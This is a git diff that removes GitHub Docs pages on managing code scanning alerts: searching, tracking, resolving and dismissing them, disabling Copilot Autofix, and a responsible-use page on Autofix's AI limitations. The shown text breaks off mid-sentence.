[!TIP] -> * The multiple word search is equivalent to an OR search. -> * The AND search will return results where the search terms are found _anywhere_, in any order in the alert name or details. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. - ![Screenshot of search field in alerts view. The field has pre-defined filters "is: open branch:main" and free text of "sql or injection" highlighted.](/assets/images/help/repository/code-scanning-search-alerts.png) -1. Press <kbd>return</kbd>. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. - -{% ifversion code-scanning-task-lists %} - -## Tracking {% data variables.product.prodname_code_scanning %} alerts in issues - -{% data reusables.code-scanning.beta-alert-tracking-in-issues %} - -To quickly create an issue to track the status of a specific {% data variables.product.prodname_code_scanning %} alert, on the {% data variables.product.prodname_code_scanning %} alerts page, click the alert you would like to track. On the detailed page for that alert, click **Create issue**. Customize the autogenerated issue as desired, then click **Submit new issue**. - -Alternatively, to track a {% data variables.product.prodname_code_scanning %} alert in an existing issue, add the URL for the alert as a task list item in the issue. For more information about task lists, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -{% data reusables.code-scanning.alert-tracking-link %} - -{% endif %} - -## Auditing responses to {% data variables.product.prodname_code_scanning %} alerts - -{% data reusables.code-scanning.audit-code-scanning-events %} - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests) -* [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) -* [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning) diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/disabling-autofix-for-code-scanning.md b/content/code-security/code-scanning/managing-code-scanning-alerts/disabling-autofix-for-code-scanning.md deleted file mode 100644 index aa06131dfd57..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/disabling-autofix-for-code-scanning.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Disabling Copilot Autofix for code scanning -shortTitle: Disable Copilot Autofix -allowTitleToDifferFromFilename: true -intro: You can choose to disallow {% data variables.product.prodname_copilot_autofix %} for an enterprise or disable {% data variables.product.prodname_copilot_autofix %} at the organization and repository level. -product: '{% data reusables.rai.code-scanning.gated-feature-autofix %}' -versions: - feature: code-scanning-autofix -type: how_to -topics: - - Code Security - - Code scanning - - CodeQL - - AI ---- - -## About disabling {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_code_scanning %} - -{% data variables.product.prodname_copilot_autofix %} is a {% data variables.product.prodname_copilot %}-powered expansion of {% data variables.product.prodname_code_scanning %}. It provides users with targeted recommendations to help them fix {% data variables.product.prodname_code_scanning %} alerts (including {% data variables.product.prodname_codeql %} alerts) so they can avoid introducing new security vulnerabilities. To learn more about {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -{% data reusables.rai.code-scanning.copilot-autofix-note %} - -{% data variables.product.prodname_copilot_autofix_short %} is allowed by default and enabled for every repository that uses {% data variables.product.prodname_codeql %}, regardless of whether it uses default or advanced setup for {% data variables.product.prodname_code_scanning %}. Administrators at the enterprise, organization and repository levels can choose to opt out and disable {% data variables.product.prodname_copilot_autofix_short %}. - -Note that disabling {% data variables.product.prodname_copilot_autofix_short %} at any level will close all open {% data variables.product.prodname_copilot_autofix_short %} comments. If {% data variables.product.prodname_copilot_autofix_short %} is disabled and then subsequently enabled, {% data variables.product.prodname_copilot_autofix_short %} won't automatically suggest fixes for any pull requests that are already open. The suggestions will only be generated for any pull requests that are opened after {% data variables.product.prodname_copilot_autofix_short %} is enabled, or after re-running {% data variables.product.prodname_code_scanning %} analysis on existing pull requests. - -## Blocking use of {% data variables.product.prodname_copilot_autofix_short %} for an enterprise - -Enterprise administrators can disallow {% data variables.product.prodname_copilot_autofix_short %} for their enterprise. If you disallow {% data variables.product.prodname_copilot_autofix_short %} for an enterprise, {% data variables.product.prodname_copilot_autofix_short %} cannot be enabled for any organizations or repositories within the enterprise. - -Note that allowing {% data variables.product.prodname_copilot_autofix_short %} for an enterprise does not enforce enablement of {% data variables.product.prodname_copilot_autofix_short %}, but means that organization and repository administrators will have the option to enable or disable {% data variables.product.prodname_copilot_autofix_short %}. - -Disallowing {% data variables.product.prodname_copilot_autofix_short %} at the enterprise level will remove all open {% data variables.product.prodname_copilot_autofix_short %} comments across all repositories of all organizations within the enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. Under "{% data variables.product.prodname_copilot_autofix_short %}", use the dropdown menu to choose "Not allowed." - -## Disabling {% data variables.product.prodname_copilot_autofix_short %} for an organization - -If {% data variables.product.prodname_copilot_autofix_short %} is allowed at the enterprise level, organization administrators have the option to disable {% data variables.product.prodname_copilot_autofix_short %} for an organization. If you disable {% data variables.product.prodname_copilot_autofix_short %} for an organization, {% data variables.product.prodname_copilot_autofix_short %} cannot be enabled for any repositories within the organization. - -Note that disabling {% data variables.product.prodname_copilot_autofix_short %} at the organization level will remove all open {% data variables.product.prodname_copilot_autofix_short %} comments across all repositories in the organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.security-configurations.display-global-settings %} -1. Under the "{% data variables.product.prodname_code_scanning_caps %}" section, deselect **{% data variables.product.prodname_copilot_autofix_short %}** or **{% data variables.product.prodname_copilot_autofix_short %} for third-party tools**. - -For more information about configuring global {% data variables.product.prodname_code_scanning %} settings, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#configuring-global-code-scanning-settings). - -## Disabling {% data variables.product.prodname_copilot_autofix_short %} for a repository - -If {% data variables.product.prodname_copilot_autofix_short %} is allowed at the enterprise level and enabled at the organization level, repository administrators have the option to disable {% data variables.product.prodname_copilot_autofix_short %} for a repository. Disabling {% data variables.product.prodname_copilot_autofix_short %} at the repository level will remove all open {% data variables.product.prodname_copilot_autofix_short %} comments across the repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section, deselect **{% data variables.product.prodname_copilot_autofix_short %}** or **{% data variables.product.prodname_copilot_autofix_short %} for third-party tools**. diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/fixing-alerts-in-security-campaign.md b/content/code-security/code-scanning/managing-code-scanning-alerts/fixing-alerts-in-security-campaign.md deleted file mode 100644 index 25225ac668ef..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/fixing-alerts-in-security-campaign.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Fixing alerts in a security campaign -shortTitle: Fix alerts in campaign -intro: 'Learn how you can take part in a security campaign and how it can benefit your career as well as your code.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.security-campaigns %}' -type: how_to -versions: - feature: security-campaigns -topics: - - Code Security - - Code scanning - - Alerts - - Repositories ---- -{% data reusables.security-campaigns.preview-note %} - -## What is a security campaign - -A security campaign is a group of security alerts, detected in the default branches of repositories, chosen by an organization owner or security manager for remediation. When a security campaign is created with alerts in repositories that you have write access to, you are notified if you subscribe to email notifications for "All activity" or "Security alerts". In addition, when you open the **Security** tab for a repository with one or more campaign alerts, you can see the campaign name in the sidebar of the view. - -You can take part in a security campaign by fixing one or more of the alerts chosen for the campaign. - -## What are the benefits of fixing alerts in a campaign - -In addition to the benefit of removing an important security problem from your code, alerts in a security campaign have several other benefits compared with fixing another alert in your repository. - -* You have a campaign manager on the security team to collaborate with and a specific contact link for discussing campaign activities. -* You know that you are fixing a security alert that is important to the company. -* Potentially, you may have access to targeted training materials.{% ifversion security-campaigns-autofix %} -* You don't need to request a {% data variables.product.prodname_copilot_autofix %} suggestion, it is already available as a starting point.{% endif %}{% ifversion copilot %} -* If you have access to {% data variables.product.prodname_copilot_chat %}, you can ask questions about the alert and the suggested fix.{% endif %} -* You are improving and demonstrating your knowledge of secure coding. - -## Viewing alerts in a security campaign - -When a campaign targets security alerts in a repository that you have write access to, you can navigate to the list of repository alerts in the campaign. - -* Display the **Security** tab for the repository and click one of the campaigns under the "Campaigns" title in the sidebar. -* If you have enabled email notifications for "All activity" or "Security alerts" in the repository, click **View security campaign** in the campaign email. -* If you have write access to more than one repository in the organization, display the **Security** tab for the organization and click one of the campaigns under the "Campaigns" title in the sidebar. - -This view shows the alerts in the current repository for a campaign called "SQL injection (CWE-89)" (highlighted gray) that is managed by "octocat" (outlined in dark orange). - -![Screenshot of repository campaign view with "SQL injection (CWE-89)" campaign displayed and the "Campaign manager" outlined in dark orange.](/assets/images/help/security/builder-sec-campaign.png) - -## Fixing alerts in a security campaign - -If you want to see the code that triggered the security alert and the suggested fix, click on the alert name to show the alert view. - -1. When you are ready to work on one or more security alerts, check that no one else is working on those alerts already. In the campaign view, git icons are displayed on alerts where a fix may already be in progress. Click an icon to display the linked work: - * {% octicon "git-pull-request-draft" aria-hidden="Draft pull request" %} an open draft pull request may fix this alert. - * {% octicon "git-pull-request" aria-label="Pull request" %} an open pull request may fix this alert. - * {% octicon "git-branch" aria-label="Branch" %} a branch may contain changes to fix this alert. - -1. In the campaign view for the repository, select the alerts that you want to fix.{% ifversion security-campaigns-autofix %} -1. Connect the security alerts to a working branch: - * If at least one "Autofix" suggestion is available for the selected alerts, click **Commit autofix** and commit the changes either to a new branch or to an existing branch. - * If no autofix suggestions are available for the selected alerts, click **Create new branch** to create a new branch where you will work on fixing the alerts.{% elsif ghes %} -1. Click **Create new branch** to create a new branch where you will work on fixing the alerts.{% endif %} -1. When you have finished fixing the alerts and testing your solutions, create a pull request for your changes and request a review from the campaign manager. - -> [!TIP] If you have write permission for more than one repository in the campaign, click the link in the "Campaign progress" box in your repository to show the organization-level view of the campaign. When you open a repository from this view, the campaign alerts view is displayed. - -{% ifversion copilot %} - -## Using {% data variables.product.prodname_copilot_chat %} for secure coding - -If you have access to {% data variables.product.prodname_copilot_chat_short %} then you can ask the AI questions about the vulnerability, the suggested fix, and how to test that the fix is comprehensive. - -To get the most out of {% data variables.product.prodname_copilot_chat_short %} when you're working with alerts, you should explicitly ask {% data variables.product.prodname_copilot_chat_short %} to use the {% data variables.product.prodname_GH_advanced_security %} skill to answer your questions. - -For example: "Use the {% data variables.product.prodname_GH_advanced_security %} skill to explain how this alert introduces a vulnerability into the code." - -> [!TIP] -> {% data reusables.copilot.semantic-index-info %} - -{% endif %} diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/index.md b/content/code-security/code-scanning/managing-code-scanning-alerts/index.md deleted file mode 100644 index 19fe18363ac6..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing code scanning alerts -shortTitle: Manage alerts -intro: 'Learn how to triage, track, and resolve {% data variables.product.prodname_code_scanning %} alerts.' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /about-code-scanning-alerts - - /responsible-use-autofix-code-scanning - - /disabling-autofix-for-code-scanning - - /assessing-code-scanning-alerts-for-your-repository - - /resolving-code-scanning-alerts - - /fixing-alerts-in-security-campaign - - /triaging-code-scanning-alerts-in-pull-requests - - /tracking-code-scanning-alerts-in-issues-using-task-lists ---- diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts.md b/content/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts.md deleted file mode 100644 index 1831ca98d4b1..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Resolving code scanning alerts -shortTitle: Resolve alerts -intro: 'From the security view, you can view, fix, or dismiss alerts for potential vulnerabilities or errors in your project''s code.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /github/managing-security-vulnerabilities/managing-alerts-from-automated-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-alerts-from-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository - - /code-security/secure-coding/managing-code-scanning-alerts-for-your-repository - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository - - /code-security/code-scanning/managing-code-scanning-alerts/managing-code-scanning-alerts-for-your-repository -type: how_to -topics: - - Code Security - - Code scanning - - Alerts - - Repositories ---- - -{% ifversion copilot-chat-ghas-alerts %} - -## Asking {% data variables.product.prodname_copilot_chat %} about {% data variables.product.prodname_code_scanning %} alerts - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can ask {% data variables.product.prodname_copilot_chat_short %} for help to better understand security alerts, including {% data variables.product.prodname_code_scanning %} alerts, in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% ifversion code-scanning-autofix %} - -## Generating suggested fixes for {% data variables.product.prodname_code_scanning %} alerts - -{% data variables.product.prodname_copilot_autofix %} can generate fixes for alerts identified by {% data variables.product.prodname_code_scanning %} analysis. Most {% data variables.product.prodname_codeql %} alert types are supported and also some alerts from third-party tools. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -{% data reusables.rai.code-scanning.copilot-autofix-note %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. Click the name of an alert. -1. If {% data variables.product.prodname_copilot_autofix_short %} can suggest a fix, at the top of the page, click **{% octicon "shield-check" aria-hidden="true" %} Generate fix**. -1. Once the suggested fix has been generated, at the bottom of the page, you can click **Create PR with fix** to automatically generate a pull request with the suggested fix. -A new branch is created from the default branch, the generated fix is committed and a draft pull request is created. You can test and edit the suggested fix as you would with any other fix. - -You can also use the Autofix API for historical alerts endpoints to generate, get, and commit suggested fixes. - -* [Create an autofix for a code scanning alert](/rest/code-scanning/code-scanning#create-an-autofix-for-a-code-scanning-alert) -* [Get the status of an autofix for a code scanning alert](/rest/code-scanning/code-scanning#get-the-status-of-an-autofix-for-a-code-scanning-alert) -* [Commit an autofix for a code scanning alert](/rest/code-scanning/code-scanning#commit-an-autofix-for-a-code-scanning-alert) - -For information about the limitations of automatically generated fixes, see [Limitations of suggestions](/code-security/code-scanning/managing-code-scanning-alerts/about-autofix-for-codeql-code-scanning#limitations-of-suggestions). - -{% endif %} - -## Fixing an alert {% ifversion code-scanning-autofix %}manually{% endif %} - -Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). - -You can use the free text search or the filters to display a subset of alerts and then in turn mark all matching alerts as closed. - -Alerts may be fixed in one branch but not in another. You can use the "Branch" filter, on the summary of alerts, to check whether an alert is fixed in a particular branch. - -![Screenshot of alerts view with the "Branch" dropdown menu expanded. The "Branch" button is outlined in dark orange.](/assets/images/help/repository/code-scanning-branch-filter.png) - -{% data reusables.code-scanning.filter-non-default-branches %} - -> [!NOTE] -> If you run {% data variables.product.prodname_code_scanning %} using multiple configurations, the same alert will sometimes be generated by more than one configuration. Unless you run all configurations regularly, you may see alerts that are fixed in one configuration but not in another. These stale configurations and alerts can be removed from a branch. For more information, see [Removing stale configurations and alerts from a branch](#removing-stale-configurations-and-alerts-from-a-branch). - -## Dismissing alerts - -There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. - -Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. - -When you dismiss an alert: - -* It's dismissed in all branches. -* The alert is removed from the number of current alerts for your project. -* The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. -* The reason why you closed the alert is recorded. -* Optionally, you can comment on a dismissal to record the context of an alert dismissal. -* Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. - -To dismiss alerts: - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. -1. Review the alert, then click **Dismiss alert** and choose, or type, a reason for closing the alert. - ![Screenshot of an alert check failure. The "Dismiss alert" button is highlighted in dark orange and the dismiss drop-down displayed. ](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) - {% data reusables.code-scanning.choose-alert-dismissal-reason %} - - {% data reusables.code-scanning.false-positive-fix-codeql %} - -### Dismissing multiple alerts at once - -If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. - -## Re-opening dismissed alerts - -If you dismiss an alert but later realize that you need to fix the alert, you can re-open it and fix the problem with the code. Display the list of closed alerts, find the alert, display it, and reopen it. You can then fix the alert in the same way as any other alert. - -## Removing stale configurations and alerts from a branch - -You may have multiple code scanning configurations on a single repository. When run, multiple configurations can generate the same alert. Additionally, if the configurations are run on different schedules, the alert statuses may become out-of-date for infrequent or stale configurations. For more information on alerts from multiple configurations, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-alerts-from-multiple-configurations). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. Under "{% data variables.product.prodname_code_scanning_caps %}", click a {% data variables.product.prodname_code_scanning %} alert. -1. In the "Affected branches" section of the sidebar, click the desired branch. -1. In the "Configurations analyzing" dialog, review details of the configurations that reported this alert on the selected branch. To delete an unwanted configuration for the desired branch, click {% octicon "trash" aria-label="Delete configuration" %}. - - If you delete a configuration by mistake, click **Cancel** to avoid applying your changes. - - ![Screenshot of the "Configurations analyzing" modal. The "Delete configuration" icon is outlined in dark orange.](/assets/images/help/repository/code-scanning-remove-configuration.png) - -1. Once you have removed any unwanted configurations and confirmed the expected configurations are displayed, click **Save changes**. - - If you save your changes after accidentally deleting a configuration, re-run the configuration to update the alert. For more information on re-running configurations that use {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-all-the-jobs-in-a-workflow). - -> [!NOTE] -> * If you remove all {% data variables.product.prodname_code_scanning %} configurations for the default branch of your repository, the default branch will remain in the "Affected branches" sidebar, but it will not be analyzed by any configurations. -> * If you remove all {% data variables.product.prodname_code_scanning %} configurations for any branch other than the default branch of your repository, that branch will be removed from the "Affected branches" sidebar. - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests) -* [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) -* [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning) -{%- ifversion copilot-hadron %} -* [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request) -{%- endif %} diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning.md b/content/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning.md deleted file mode 100644 index a0d8e8f852a6..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning.md +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Responsible use of Copilot Autofix for code scanning -shortTitle: Copilot Autofix for code scanning -intro: Learn how GitHub uses AI to suggest potential fixes for {% data variables.product.prodname_code_scanning %} alerts and find out how best to mitigate limitations in the AI suggestions. -allowTitleToDifferFromFilename: true -product: '{% data reusables.rai.code-scanning.gated-feature-autofix %}' -versions: - feature: code-scanning-autofix -type: rai -topics: - - Code Security - - Code scanning - - CodeQL - - AI -redirect_from: - - /code-security/code-scanning/managing-code-scanning-alerts/about-autofix-for-codeql-code-scanning ---- - -## About {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_code_scanning %} - -{% data variables.product.prodname_copilot_autofix %} is an expansion of {% data variables.product.prodname_code_scanning %} that provides users with targeted recommendations to help them fix {% data variables.product.prodname_code_scanning %} alerts so they can avoid introducing new security vulnerabilities. The potential fixes are generated automatically by large language models (LLMs) using data from the codebase and from {% data variables.product.prodname_code_scanning %} analysis. {% data variables.product.prodname_copilot_autofix %} is available for {% data variables.product.prodname_codeql %} analysis, and supports the third-party tool ESLint (third-party support is in {% data variables.release-phases.public_preview %} and subject to change). - -{% data reusables.rai.code-scanning.copilot-autofix-note %} - -{% data variables.product.prodname_copilot_autofix_short %} generates potential fixes that are relevant to the existing source code and translates the description and location of an alert into code changes that may fix the alert. {% data variables.product.prodname_copilot_autofix_short %} uses internal {% data variables.product.prodname_copilot %} APIs interfacing with the large language model GPT-4o from OpenAI, which has sufficient generative capabilities to produce both suggested fixes in code and explanatory text for those fixes. - -{% data variables.product.prodname_copilot_autofix_short %} is allowed by default and enabled for every repository using {% data variables.product.prodname_codeql %}, but you can choose to opt out and disable {% data variables.product.prodname_copilot_autofix_short %}. To learn how to disable {% data variables.product.prodname_copilot_autofix_short %} at the enterprise, organization and repository levels, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/disabling-autofix-for-code-scanning). - -In an organization's security overview dashboard, you can view the total number of code suggestions generated on open and closed pull requests in the organization for a given time period. For more information, see {% ifversion ghas-products-cloud %}[AUTOTITLE](/code-security/security-overview/viewing-security-insights#autofix-suggestions){% elsif fpt %}[AUTOTITLE](/enterprise-cloud@latest/code-security/security-overview/viewing-security-insights#autofix-suggestions) in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. - -## Developer experience - -{% data variables.product.prodname_code_scanning_caps %} users can already see security alerts to analyze their pull requests. However, developers often have little training in secure coding so fixing these alerts requires substantial effort. They must first read and understand the alert location and description, and then use that understanding to edit the source code to fix the vulnerability. - -{% data variables.product.prodname_copilot_autofix_short %} lowers the barrier of entry to developers by combining information on best practices with details of the codebase and alert to suggest a potential fix to the developer. Instead of starting with a search for information about the vulnerability, the developer starts with a code suggestion that demonstrates a potential solution for their codebase. The developer evaluates the potential fix to determine whether it is the best solution for their codebase and to ensure that it maintains the intended behavior. - -After committing a suggested fix or modified fix, the developer should always verify that continuous integration testing (CI) for the codebase continues to pass and that the alert is shown as resolved before they merge their pull request. - -## Supported languages for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} - -{% data variables.product.prodname_copilot_autofix_short %} supports fix generation for a subset of queries included in the default and security-extended {% data variables.product.prodname_codeql %} query suites for {% data variables.code-scanning.codeql_autofix_languages %}. For more information on these query suites, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites#built-in-codeql-query-suites). - -## Suggestion generation process - -When {% data variables.product.prodname_copilot_autofix_short %} is enabled for a repository, {% data variables.product.prodname_code_scanning %} alerts that are identified send input to the LLM. If the LLM can generate a potential fix, the fix is shown as a suggestion. - -{% data variables.product.prodname_dotcom %} sends the LLM a variety of data from the {% data variables.product.prodname_code_scanning %} analysis. For example: - -* {% data variables.product.prodname_codeql %} alert data in SARIF format. For more information, see “[AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning).” -* Code from the current version of the branch. - * Short snippets of code around each source location, sink location, and any location referenced in the alert message or included on the flow path. - * First ~10 lines from each file involved in any of those locations. -* Help text for the {% data variables.product.prodname_codeql %} query that identified the problem. For examples, see “[{% data variables.product.prodname_codeql %} query help](https://codeql.github.com/codeql-query-help/).” - -Any {% data variables.product.prodname_copilot_autofix_short %} suggestions are generated and stored within the {% data variables.product.prodname_code_scanning %} backend. They are displayed as suggestions. No user interaction is needed beyond enabling {% data variables.product.prodname_code_scanning %} on the codebase and creating a pull request. - -The process of generating fixes does not gather or utilize any customer data beyond the scope outlined above. Therefore, the use of this feature is governed by the existing terms and conditions associated with {% data variables.product.prodname_GH_advanced_security %}. Moreover, data handled by {% data variables.product.prodname_copilot_autofix_short %} is strictly not employed for LLM training purposes. For more information on {% data variables.product.prodname_GH_advanced_security %} terms and conditions, see [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#advanced-security){% ifversion fpt %}.{% else %} in the Free, Pro, & Team documentation.{% endif %} - -## Quality of suggestions - -{% data variables.product.prodname_dotcom %} uses an automated test harness to continuously monitor the quality of suggestions from {% data variables.product.prodname_copilot_autofix_short %}. This allows us to understand how the suggestions generated by the LLM change as the model develops. - -The test harness includes a set of over 2,300 alerts from a diverse set of public repositories where the highlighted code has test coverage. Suggestions for these alerts are tested to see how good they are, that is, how much a developer would need to edit them before committing them to the codebase. For many of the test alerts, suggestions generated by the LLM could be committed as-is to fix the alert while continuing to successfully pass all the existing CI tests. - -In addition, the system is stress-tested to check for any potential harm (often referred to as red teaming), and a filtering system on the LLM helps prevent potentially harmful suggestions being displayed to users. - -### How GitHub tests suggestions - -We test the effectiveness of suggestions by merging all suggested changes, unedited, before running {% data variables.product.prodname_code_scanning %} and the repository's unit tests on the resulting code. - -1. Was the {% data variables.product.prodname_code_scanning %} alert fixed by the suggestion? -1. Did the fix introduce any new {% data variables.product.prodname_code_scanning %} alerts? -1. Did the fix introduce any syntax errors that {% data variables.product.prodname_code_scanning %} can detect? -1. Has the fix changed the output of any of the repository tests? - -In addition, we spot check many of the successful suggestions and verify that they fix the alert without introducing new problems. When one or more of these checks failed, our manual triage showed that in many cases the proposed fix was nearly correct but needed some minor modifications that a user could identify and manually perform. - -### Effectiveness on other projects - -The test set contains a broad range of different types of projects and alerts. We predict that suggestions for other projects using languages supported by {% data variables.product.prodname_copilot_autofix_short %} should follow a similar pattern. - -* {% data variables.product.prodname_copilot_autofix_short %} is likely to add a code suggestion to the majority of alerts. -* When developers evaluate the suggestions we expect that the majority of fixes can be committed without editing or with minor updates to reflect the wider context of the code. -* A small percentage of suggested fixes will reflect a significant misunderstanding of the codebase or the vulnerability. - -However, each project and codebase is unique, so developers may need to edit a larger percentage of suggested fixes before committing them. {% data variables.product.prodname_copilot_autofix_short %} provides valuable information to help you resolve {% data variables.product.prodname_code_scanning %} alerts, but ultimately it remains your responsibility to evaluate the proposed change and ensure the security and accuracy of your code. - -> [!NOTE] -> Fix generation for supported languages is subject to LLM operational capacity. In addition, each suggested fix is tested before it is added to a pull request. If no suggestion is available, or if the suggested fix fails internal testing, then no suggestion is displayed. - -## Limitations of suggestions - -When you review a suggestion from {% data variables.product.prodname_copilot_autofix_short %}, you must always consider the limitations of AI and edit the changes as needed before you accept the changes. You should also consider updating the CI testing and dependency management for a repository before enabling {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_code_scanning %}. For more information, see [Mitigating the limitations of suggestions](#mitigating-the-limitations-of-suggestions). - -### Limitations of code suggestions - -* _Human languages:_ The system primarily uses English data, including the prompts sent to the system, the code seen by the LLMs in their datasets, and the test cases used for internal evaluation. Suggestions generated by the LLM may have a lower success rate for source code and comments written in other languages and using other character sets. -* _Syntax errors:_ The system may suggest fixes that are not syntactically correct code changes, so it is important to run syntax checks on pull requests. -* _Location errors:_ The system may suggest fixes that are syntactically correct code but are suggested at the incorrect location, which means that if a user accepts a fix without editing the location they will introduce a syntax error. -* _Semantic errors_: The system may suggest fixes that are syntactically valid but that change the semantics of the program. The system has no understanding of the programmer or codebase’s intent in how the code should behave. Having good test coverage helps developers verify that a fix does not change the behavior of the codebase. -* _Security vulnerabilities and misleading fixes:_ The system may suggest fixes that fail to remediate the underlying security vulnerability and/or introduce new security vulnerabilities. -* _Partial fixes:_ The system may suggest fixes that only partially address the security vulnerability, or only partially preserve the intended code functionality. The system sees only a small subset of the code in the codebase and does not always produce globally optimal or correct solutions. - -### Limitations of dependency suggestions - -Sometimes a suggested fix includes a change in the dependencies of the codebase. If you use a dependency management system, any changes will be highlighted automatically for the developer to review. Before merging a pull request always verify that any dependency changes are secure and maintain the intended behavior of the codebase. - -* _New or updated dependencies:_ The system may suggest adding or updating software dependencies as part of a suggested fix. For example, by suggesting changing the `package.json` file for JavaScript projects to add dependencies from npm. -* _Unsupported or insecure dependencies:_ The system does not know which versions of an existing dependency are supported or secure. -* _Fabricated dependencies:_ The system has incomplete knowledge of the 